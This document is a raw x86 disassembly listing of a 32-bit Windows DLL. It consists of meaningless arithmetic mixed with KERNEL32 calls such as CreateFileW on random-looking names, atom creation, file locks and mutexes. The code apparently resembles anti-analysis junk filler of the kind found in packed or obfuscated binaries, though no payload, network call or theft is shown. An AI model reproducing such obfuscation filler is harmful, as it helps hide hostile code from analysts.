lea eax, [ebp - 0xad80]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x100b7280]
and ecx, dword [ebp - 0x3730]
mov dword [0x100b72d4], ecx
push 0
push 0x200
push 4
push 0
push 2
push 0xc0000000
push str.n0PtrNKOjeQr4kAFBGi6nAl5l3Cas
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba260], eax
movzx edx, word [0x100b962c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11ac], ax
mov eax, dword [0x100b9850]
mov cl, byte [eax]
mov byte [ebp - 0x2a4], cl
mov edx, dword [ebp - 0x3800]
mov eax, dword [edx]
imul eax, dword [ebp - 0x2b2c]
mov dword [ebp - 0x2ca4], eax
mov ecx, dword [ebp - 0x3d84]
movzx edx, byte [ecx]
movzx eax, byte [0x100b7e22]
xor edx, eax
mov ecx, dword [0x100b9bc4]
mov byte [ecx], dl
movzx edx, word [ebp - 0x11a0]
movzx ecx, word [ebp - 0xb90]
shl edx, cl
mov word [ebp - 0xf9c], dx
mov eax, dword [0x100b99ac]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x37f0]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0xa9c], cx
lea ecx, [ebp - 0x26e]
mov dword [0x100ba264], ecx
mov dword [ebp - 0x3dec], 0x100b7228
mov edx, dword [0x100b9d54]
mov eax, dword [ebp - 0x350c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x2dbc], edx
mov eax, dword [0x100ba17c]
mov ecx, dword [ebp - 0x3d7c]
or ecx, dword [eax]
mov dword [0x100b71e4], ecx
movzx edx, byte [ebp - 0x158]
mov eax, dword [ebp - 0x38fc]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x334c]
mov byte [eax], dl
mov cx, word [ebp - 0x788]
mov word [ebp - 0x1340], cx
push 0x937
push 0x2aec
push 0x383e
push 0x2eae
mov edx, dword [0x100b9b6c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3df0], eax
movsx eax, byte [0x100b7e0e]
mov ecx, dword [ebp - 0x3a38]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [0x100b9c78]
mov byte [ecx], al
movzx edx, word [0x100b9984]
movzx ecx, word [ebp - 0x1324]
shl edx, cl
mov eax, dword [ebp - 0x3d08]
mov word [eax], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba268], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3df4], eax
mov ecx, dword [0x100ba028]
add ecx, dword [ebp - 0x2f40]
mov dword [ebp - 0x2f30], ecx
mov edx, dword [ebp - 0x379c]
mov eax, dword [edx]
mov dword [0x100ba26c], eax
movzx edx, byte [0x100b7182]
movzx ecx, byte [ebp - 0x290]
sar edx, cl
mov eax, dword [ebp - 0x38fc]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba270], eax
lea ecx, [ebp - 0x261]
mov dword [ebp - 0x3df8], ecx
movsx edx, word [ebp - 0x578]
movsx eax, word [ebp - 0x115c]
and edx, eax
mov word [0x100b9fe8], dx
movzx ecx, word [ebp - 0x1330]
mov edx, dword [ebp - 0x35ec]
movzx eax, word [edx]
imul ecx, eax
mov edx, dword [ebp - 0x39a0]
mov word [edx], cx
movzx eax, word [ebp - 0x1234]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1328], ax
lea ecx, [ebp - 0x3768]
mov dword [ebp - 0x3dfc], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b953c], eax
mov dl, byte [ebp - 0x293]
mov byte [0x100b8083], dl
mov eax, dword [ebp - 0x3ca0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3b30]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x3a28]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b97c4], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3e00], eax
mov eax, dword [ebp - 0x3418]
mov ecx, dword [eax]
mov dword [ebp - 0x3e04], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba274], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3e08], eax
mov edx, dword [0x100b9ec4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3830]
movzx ecx, word [ecx]
cdq
idiv ecx
mov word [0x100b72d8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x352c], eax
push 0x100ba0f0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx edx, word [ebp - 0x10a4]
mov eax, dword [0x100ba1c4]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x730], dx
mov edx, dword [ebp - 0x35b8]
mov eax, dword [ebp - 0x3cf8]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3a1c]
mov dword [edx], ecx
movsx eax, byte [0x100b7142]
mov ecx, dword [ebp - 0x3978]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7186], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba278], eax
movzx edx, word [ebp - 0x1188]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba27c], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3e0c], eax
lea eax, [ebp - 0x28b]
mov dword [ebp - 0x3e10], eax
movzx ecx, word [0x100b7284]
movzx edx, word [0x100b71d8]
and ecx, edx
mov word [ebp - 0x10b8], cx
lea eax, [ebp - 0x9d00]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x3cd4]
movzx edx, word [ecx]
mov eax, dword [0x100b9e4c]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b72dc], dx
lea ecx, [ebp - 0x2e08]
mov dword [ebp - 0x3e14], ecx
push 0x2fba
push 0x25e3
push 0x2fd
push 0x1f70
mov edx, dword [0x100b9494]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3aec], eax
lea eax, [ebp - 0xfc4]
mov dword [ebp - 0x3e18], eax
mov ecx, dword [ebp - 0x3900]
mov edx, dword [0x100b9bc0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [0x100b9c54]
mov dword [ecx], eax
push str.DKQ_Qhp1M
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba280], ax
push 0x100b9a58
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3df8]
movsx eax, byte [edx]
movsx ecx, byte [str._AaV]
xor eax, ecx
mov edx, dword [ebp - 0x3978]
mov byte [edx], al
movzx eax, byte [ebp - 0x281]
mov ecx, dword [ebp - 0x3c84]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b96fc]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3e1c], eax
movzx edx, word [ebp - 0xf80]
movzx eax, word [ebp - 0x1178]
or edx, eax
mov word [ebp - 0x69c], dx
lea ecx, [ebp - 0x9bc8]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 0x2f40]
and edx, dword [0x100b71e0]
mov eax, dword [ebp - 0x3aa0]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba284], eax
push 0x100a5b08
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1344], ax
push 0x938
mov ecx, dword [0x100ba0ac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba288], eax
mov edx, dword [ebp - 0x3d18]
mov eax, dword [edx]
mov dword [0x100ba28c], eax
lea ecx, [ebp - 0x12cc]
mov dword [ebp - 0x3e20], ecx
movsx edx, byte [ebp - 0x87]
movsx eax, byte [ebp - 0x29d]
sub edx, eax
mov byte [ebp - 0x11f], dl
mov ecx, dword [ebp - 0x3b48]
movzx edx, byte [ecx]
mov eax, dword [0x100b9ac0]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7f03], dl
mov ecx, dword [ebp - 0x3690]
movsx edx, byte [ecx]
movsx ecx, byte [str.i3]
sar edx, cl
mov byte [ebp - 0x54], dl
mov eax, dword [ebp - 0x3758]
mov ecx, dword [eax]
mov dword [ebp - 0x3e24], ecx
mov dx, word [ebp - 0x8a8]
mov word [0x100ba290], dx
mov eax, dword [ebp - 0x36d4]
mov cx, word [eax]
mov word [ebp - 0x1348], cx
mov edx, dword [0x100b9b10]
mov eax, dword [ebp - 0x3418]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x3acc], ecx
lea edx, [ebp - 0x28a]
mov dword [0x100ba294], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3ddc], eax
mov eax, dword [ebp - 0x3a58]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xd0]
and ecx, edx
mov byte [ebp - 0x3b], cl
mov eax, dword [0x100b7250]
or eax, dword [ebp - 0x3ce8]
mov ecx, dword [ebp - 0x36f8]
mov dword [ecx], eax
movzx edx, word [0x100b72bc]
movzx eax, word [ebp - 0x82c]
xor edx, eax
mov word [0x100b9ccc], dx
movsx edx, word [ebp - 0xca8]
movsx ecx, word [ebp - 0x1180]
shl edx, cl
mov word [ebp - 0x62c], dx
push 0x1523
push 0
lea eax, [ebp - 0x3d90]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9f2c], eax
push 0x100b9768
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 0x3670]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xe28]
sar edx, cl
mov word [ebp - 0x1228], dx
movzx eax, byte [ebp - 0x2a3]
movzx ecx, byte [0x100b712e]
add eax, ecx
mov byte [0x100b7e22], al
push 0
push 0x10
push 3
push 0
push 1
push 0x80000000
push str.Q7FObqgZypc5mZcCVblYlMrV7bdq
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3e28], eax
mov edx, dword [ebp - 0x3680]
mov eax, dword [0x100b96e4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x377c]
mov dword [edx], ecx
lea eax, [ebp - 0x38c8]
mov dword [ebp - 0x3e2c], eax
lea ecx, [ebp - 0xef]
mov dword [0x100ba298], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba29c], eax
lea edx, [ebp - 0xdf0]
mov dword [ebp - 0x3e30], edx
mov eax, dword [ebp - 0x3ae4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x10a4]
xor ecx, edx
mov word [ebp - 0xbe8], cx
movsx eax, byte [0x100b7f27]
movsx ecx, byte [ebp - 0x17c]
xor eax, ecx
mov byte [0x100b7ec6], al
lea edx, [ebp - 0x290]
mov dword [ebp - 0x3e34], edx
mov eax, dword [ebp - 0x3654]
add eax, dword [ebp - 0x3acc]
mov dword [ebp - 0x3cf4], eax
lea ecx, [ebp - 0x3d1c]
mov dword [0x100ba2a0], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3ab8], eax
mov dl, byte [ebp - 0x15]
mov byte [ebp - 0x2a5], dl
mov eax, dword [ebp - 0x35fc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1310]
sub ecx, edx
mov word [ebp - 0x11a0], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3e38], eax
push 0
push 0x1dbf
push 0x9ec
push 0xc85
push 2
mov eax, dword [0x100b9e6c]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3a6c], eax
movsx ecx, word [ebp - 0x10a4]
mov edx, dword [0x100b99d0]
movsx eax, word [edx]
or ecx, eax
mov word [0x100b9d34], cx
push str.AZ3_u3Jwna
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba2a4], ax
push 0x100a5b0c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x134c], ax
push str.AHR_JQn
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba2a8], ax
lea ecx, [ebp - 0x265]
mov dword [ebp - 0x3e3c], ecx
mov edx, dword [ebp - 0x3cb4]
mov eax, dword [edx]
mov ecx, dword [0x100b72b8]
shl eax, cl
mov ecx, dword [ebp - 0x3c6c]
mov dword [ecx], eax
lea edx, [ebp - 0x12fc]
mov dword [0x100ba2ac], edx
lea eax, [ebp - 0x2ba4]
mov dword [ebp - 0x3e40], eax
mov ecx, dword [ebp - 0x3db0]
movsx edx, byte [ecx]
mov eax, dword [0x100b955c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x275], dl
movsx ecx, word [ebp - 0x11d4]
mov edx, dword [ebp - 0x3ae4]
movsx eax, word [edx]
and ecx, eax
mov word [0x100b72e0], cx
movzx ecx, byte [ebp - 0x28d]
movzx edx, byte [0x100b7e2a]
add ecx, edx
mov byte [ebp - 0xb6], cl
mov eax, dword [ebp - 0x3cf8]
mov ecx, dword [ebp - 0x366c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x3494]
mov dword [eax], edx
movsx edx, byte [ebp - 0x275]
mov eax, dword [ebp - 0x3dcc]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7193], dl
movzx edx, word [ebp - 0x1200]
mov eax, dword [ebp - 0x3570]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3d08]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9ea4], eax
push 0
push 4
push 1
push 0
push 2
push 0x40000000
push str.hHDZpOhh6wQz5SytRuWaZ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3e44], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b94f0], eax
mov edx, dword [0x100ba164]
mov ax, word [edx]
mov word [ebp - 0x1350], ax
mov ecx, dword [ebp - 0x3d60]
mov edx, dword [ecx]
mov dword [0x100ba2b0], edx
mov eax, dword [0x100b99ac]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x370c]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0xbd8], cx
mov ecx, dword [0x100b9d18]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3940]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x294], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3568], eax
mov edx, dword [ebp - 0x3bd0]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba2b4], eax
mov eax, dword [ebp - 0x37c0]
mov ecx, dword [0x100b7210]
xor ecx, dword [eax]
mov edx, dword [0x100b98e0]
mov dword [edx], ecx
push str.PLpIiM0_NbAMWJNnpSw_Smv6
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1354], ax
mov eax, dword [ebp - 0x3c9c]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7e6a]
add ecx, edx
mov byte [ebp - 0x27a], cl
lea eax, [ebp - 0x1290]
mov dword [ebp - 0x3e48], eax
mov ecx, dword [ebp - 0x3a80]
movzx edx, word [ecx]
mov eax, dword [0x100b9a2c]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [0x100b9544]
mov word [eax], dx
mov ecx, dword [0x100ba0ac]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba2b8], eax
mov dl, byte [ebp - 0x77]
mov byte [ebp - 0x2a6], dl
mov dword [0x100ba2bc], 0x100b72d4
movsx eax, word [ebp - 0x1180]
mov ecx, dword [0x100b971c]
movsx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3840]
mov word [edx], ax
movzx eax, byte [ebp - 0xb6]
movzx ecx, byte [ebp - 0x297]
sub eax, ecx
mov byte [ebp - 0x22e], al
movzx edx, word [ebp - 0x132c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba2c0], ax
mov eax, dword [ebp - 0x3aa0]
mov edx, dword [0x100b7200]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x100ba028], edx
mov eax, dword [ebp - 0x39a8]
movzx ecx, word [eax]
movzx edx, word [0x100b71e8]
or ecx, edx
mov word [ebp - 0x121c], cx
lea eax, [ebp - 0x3068]
mov dword [ebp - 0x3e4c], eax
push 0
push 4
push 2
push 0
push 2
push 0x40000000
push str.w78d9SUiBWM9ylcs4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3e50], eax
mov ecx, dword [ebp - 0x395c]
movsx edx, word [ecx]
movsx eax, word [0x100b9f50]
add edx, eax
mov word [0x100b72e4], dx
mov ecx, dword [ebp - 0x3b28]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3944]
mov eax, dword [ebp - 0x33fc]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x4c]
mov edx, dword [ebp - 0x3b48]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x2f], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9b20], eax
mov ecx, dword [ebp - 0x3978]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x1f4]
sar edx, cl
mov eax, dword [0x100b9ff8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3a58]
mov dl, byte [ecx]
mov byte [ebp - 0x2a7], dl
push str.AU4JMdM
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1358], ax
mov eax, dword [ebp - 0x3d1c]
xor eax, dword [ebp - 0x35e0]
mov ecx, dword [ebp - 0x36ec]
mov dword [ecx], eax
lea edx, [ebp - 0xe]
mov dword [0x100ba2c4], edx
mov eax, dword [ebp - 0x3cd0]
movsx edx, word [eax]
movsx ecx, word [ebp - 0xbe8]
shl edx, cl
mov word [ebp - 0x584], dx
mov eax, dword [ebp - 0x35d0]
movzx ecx, word [eax]
movzx edx, word [0x100b94f8]
add ecx, edx
mov word [ebp - 0x1200], cx
push 0x100a5c2c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba2c8], ax
mov eax, dword [ebp - 0x379c]
mov ecx, dword [ebp - 0x35d8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [0x100b7264], edx
mov eax, dword [ebp - 0x3b10]
mov cl, byte [eax]
mov byte [ebp - 0x2a8], cl
mov edx, dword [ebp - 0x3cf8]
mov eax, dword [ebp - 0x3d7c]
or eax, dword [edx]
mov dword [ebp - 0x3790], eax
mov dword [0x100ba2cc], 0x100b7e22
lea ecx, [ebp - 0x128c]
mov dword [ebp - 0x3e54], ecx
mov dword [ebp - 0x3e58], 0x100b9f50
movsx edx, byte [ebp - 0x26e]
movsx ecx, byte [ebp - 0x287]
sar edx, cl
mov byte [0x100b71d6], dl
mov eax, dword [ebp - 0x3814]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3d08]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x61c], cx
mov ecx, dword [ebp - 0x2ce8]
add ecx, dword [ebp - 0x2af4]
mov dword [ebp - 0x36b8], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33d8], eax
mov edx, dword [0x100ba234]
mov eax, dword [edx]
and eax, dword [ebp - 0x2f40]
mov ecx, dword [0x100ba0ec]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e44], eax
push 0x2051
push 0
lea edx, [ebp - 0x39f4]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3e5c], eax
movzx eax, word [0x100b9f58]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba2d0], ax
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x3e60], ecx
mov edx, dword [ebp - 0x3710]
movsx eax, word [edx]
mov ecx, dword [0x100b9bac]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x56c], ax
mov eax, dword [ebp - 0x3d44]
mov cl, byte [eax]
mov byte [0x100b8092], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3e64], eax
movzx edx, word [ebp - 0x1218]
mov eax, dword [0x100ba0e8]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x8f8], dx
lea ecx, [ebp - 0x33d4]
mov dword [ebp - 0x3e68], ecx
mov edx, dword [0x100b9a7c]
mov eax, dword [ebp - 0x33fc]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [0x100b725c], ecx
movzx edx, byte [ebp - 0x290]
mov eax, dword [ebp - 0x3a84]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x386c]
mov byte [ecx], dl
mov edx, dword [0x100ba078]
movsx eax, byte [edx]
movsx ecx, byte [0x100b71d6]
add eax, ecx
mov byte [ebp - 0x28c], al
movsx edx, word [ebp - 0x1248]
movsx eax, word [ebp - 0x12dc]
and edx, eax
mov ecx, dword [0x100b9c34]
mov word [ecx], dx
push 0
push 0x24aa
push 0x3415
push 0x3a7e
push 1
mov edx, dword [ebp - 0x3784]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba2b4], eax
mov dword [ebp - 0x3e6c], 0x100b9668
mov eax, dword [ebp - 0x2ca4]
mov dword [ebp - 0x3e70], eax
mov dword [0x100ba2d4], 0x100b71c6
movzx edx, byte [0x100b7e2b]
movzx ecx, byte [ebp - 0x9e]
shl edx, cl
mov eax, dword [ebp - 0x3c84]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba2d8], eax
lea ecx, [ebp - 0x3968]
mov dword [ebp - 0x3e74], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3e78], eax
movzx edx, word [ebp - 0x1314]
movzx eax, word [ebp - 0x1138]
xor edx, eax
mov word [0x100b728c], dx
push str.ySf_HbLfZ_zgDno
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba120], ax
push 0x1e4f
push 0
lea ecx, [ebp - 0x3674]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3e7c], eax
movsx edx, word [0x100ba128]
movsx eax, word [ebp - 0x1140]
add edx, eax
mov ecx, dword [ebp - 0x3d4c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3aa8]
mov eax, dword [ebp - 0x39e8]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x3d94], edx
mov eax, dword [0x100b96d0]
movsx ecx, byte [eax]
mov edx, dword [0x100ba11c]
movsx eax, byte [edx]
or ecx, eax
mov byte [0x100b71d7], cl
movzx ecx, byte [ebp - 0x21a]
movzx edx, byte [0x100b7143]
and ecx, edx
mov byte [ebp - 0xcb], cl
movzx eax, word [ebp - 0x1294]
imul ecx, eax, 0x1af
mov edx, dword [ebp - 0x3b5c]
mov word [edx], cx
mov dword [0x100ba2dc], 0x100b71d4
mov eax, dword [0x100b72a4]
mov dword [ebp - 0x3e80], eax
movsx ecx, word [ebp - 0x1318]
mov edx, dword [ebp - 0x3d80]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3998]
mov word [edx], cx
push 0x100ba2e0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 1
lea eax, [ebp - 0x980c]
push eax
mov ecx, dword [0x100ba30c]
push ecx
mov edx, dword [0x100ba308]
push edx
mov eax, dword [0x100ba118]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3a9c], eax
mov ecx, dword [ebp - 0x3c7c]
xor ecx, dword [ebp - 0x3108]
mov dword [0x100b71e0], ecx
movsx edx, byte [ebp - 0xef]
mov eax, dword [ebp - 0x3984]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x234], dl
movzx edx, byte [ebp - 0x2a3]
movzx ecx, byte [ebp - 0x26c]
shl edx, cl
mov byte [0x100b802f], dl
lea eax, [ebp - 0x12fc]
mov dword [ebp - 0x3e84], eax
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x2b3c]
add edx, dword [ecx]
mov dword [ebp - 0x3dc4], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x36d8], eax
lea eax, [ebp - 0x36b8]
mov dword [0x100ba304], eax
mov dword [ebp - 0x3e88], 0x100b7214
mov ecx, dword [ebp - 0x3b80]
movsx edx, byte [ecx]
movsx ecx, byte [0x100b7f8f]
sar edx, cl
mov byte [ebp - 0x2a0], dl
lea eax, [ebp - 0x26c]
mov dword [0x100ba310], eax
push 0x100ba2e0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3e8c], eax
mov cl, byte [ebp - 0x26e]
mov byte [ebp - 0x2a9], cl
mov edx, dword [0x100ba17c]
mov eax, dword [ebp - 0x2c60]
and eax, dword [edx]
mov dword [ebp - 0x3dc4], eax
mov ecx, dword [ebp - 0x3d3c]
movzx edx, word [ecx]
imul eax, edx, 0x625
mov ecx, dword [0x100b9e4c]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba314], eax
push 0x100ba318
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x100a5c54
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12d8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9e98], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3e90], eax
lea edx, [ebp - 0xfc4]
mov dword [ebp - 0x3e94], edx
mov eax, dword [ebp - 0x3848]
mov ecx, dword [eax]
or ecx, dword [0x100b7264]
mov edx, dword [ebp - 0x35d8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3cfc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x28b]
xor ecx, edx
mov eax, dword [0x100b9904]
mov byte [eax], cl
lea ecx, [ebp - 0x27e]
mov dword [ebp - 0x3e98], ecx
mov edx, dword [ebp - 0x37c0]
mov eax, dword [0x100ba23c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3934]
mov dword [ecx], eax
mov dx, word [ebp - 0x108c]
mov word [0x100ba330], dx
mov dword [ebp - 0x3e9c], 0x100b72e4
movzx eax, word [0x100b7268]
movzx ecx, word [ebp - 0xf0c]
shl eax, cl
mov word [ebp - 0x1100], ax
movzx ecx, byte [ebp - 0xe]
movzx edx, byte [ebp - 0x46]
and ecx, edx
mov byte [0x100b71a3], cl
mov eax, dword [ebp - 0x38e4]
mov dword [ebp - 0x3ea0], eax
mov ecx, dword [ebp - 0x3e68]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3780]
sar edx, cl
mov eax, dword [ebp - 0x3a40]
mov dword [eax], edx
mov cl, byte [ebp - 0x120]
mov byte [0x100b8093], cl
mov edx, dword [0x100b9cc8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3930]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3a80]
mov word [ecx], ax
lea edx, [ebp - 0x1180]
mov dword [ebp - 0x3ea4], edx
movsx eax, byte [ebp - 0xd0]
movsx ecx, byte [ebp - 0xef]
add eax, ecx
mov byte [0x100b71da], al
lea edx, [ebp - 0x277]
mov dword [ebp - 0x3ea8], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba334], eax
movzx eax, word [ebp - 0x1358]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9e48], ax
push 0x100a5c58
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x135c], ax
mov ecx, dword [ebp - 0x3e74]
mov edx, dword [ebp - 0x3cb8]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x350c]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3eac], eax
mov edx, dword [ebp - 0x3900]
mov eax, dword [ebp - 0x3980]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [0x100b9dd4], ecx
movsx edx, byte [0x100b7e73]
movsx eax, byte [ebp - 0x271]
sub edx, eax
mov byte [ebp - 0x73], dl
push 0
push 8
push 3
push 0
push 8
push 0x80000000
push str.dSJimpXKWABSBEJ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba338], eax
mov dword [ebp - 0x3eb0], 0x100b9924
movsx edx, word [ebp - 0x970]
movsx ecx, word [ebp - 0xb8c]
shl edx, cl
